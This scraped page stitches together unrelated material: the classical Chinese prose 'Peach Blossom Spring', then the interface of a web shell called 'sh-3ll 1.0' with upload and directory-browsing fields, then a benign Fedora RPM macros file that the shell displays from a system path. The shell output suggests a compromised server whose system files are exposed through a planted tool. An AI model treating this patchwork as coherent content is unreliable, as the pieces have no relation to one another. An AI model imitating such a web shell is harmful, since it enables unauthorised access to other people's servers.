晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/proc/thread-self/root/lib/rpm/macros.d/
Upload File :
Current File : //proc/thread-self/root/lib/rpm/macros.d/macros.fedora-misc-srpm
# Fedora macros, safe to use at SRPM build stage

# A directory for rpm macros
%rpmmacrodir /usr/lib/rpm/macros.d

# A directory for appdata metainfo.  This has changed between releases so a
# macro is useful.
%_metainfodir %{_datadir}/metainfo

# A directory for SWID tag files describing the installation
%_swidtagdir %{_prefix}/lib/swidtag/fedoraproject.org

# Applies the fedora.wordwrap filter to the content of an rpm variable, and
# prints the result.
#   – putting multiple lines of UTF-8 text inside a variable is usually
#     accomplished with %{expand:some_text}
# Control variables, flags and arguments:
#   -v <variable_name>  (default value: _description)
%wordwrap(v:) %{lua:
local   fedora = require "fedora.common"
local variable = "%{?" .. rpm.expand("%{-v*}%{!-v:_description}") .. "}"
print(fedora.wordwrap(variable))
}

# A single Name: and %package substitute
# Control variables, flags and arguments:
#   %{source_name}         the SRPM name
#   %{source_summary}      the SRPM summary
#   %{source_description}  the SRPM description
#   -n <name>              declare a package named <name>
#                          (%package-like behavior)
#   -v                     be verbose
#   %1                     declare a package named %{source_name}-%{%1}
#                          (%package-like behavior)
%new_package(n:v) %{lua:
local      fedora = require "fedora.common"
local    pkg_name = fedora.readflag("n")
local     verbose = fedora.hasflag("v")
local name_suffix = fedora.read("1")
local source_name = fedora.read("source_name")
local       first = not ( fedora.read("name") or fedora.read("currentname") )
fedora.new_package(source_name, pkg_name, name_suffix, first, verbose)
}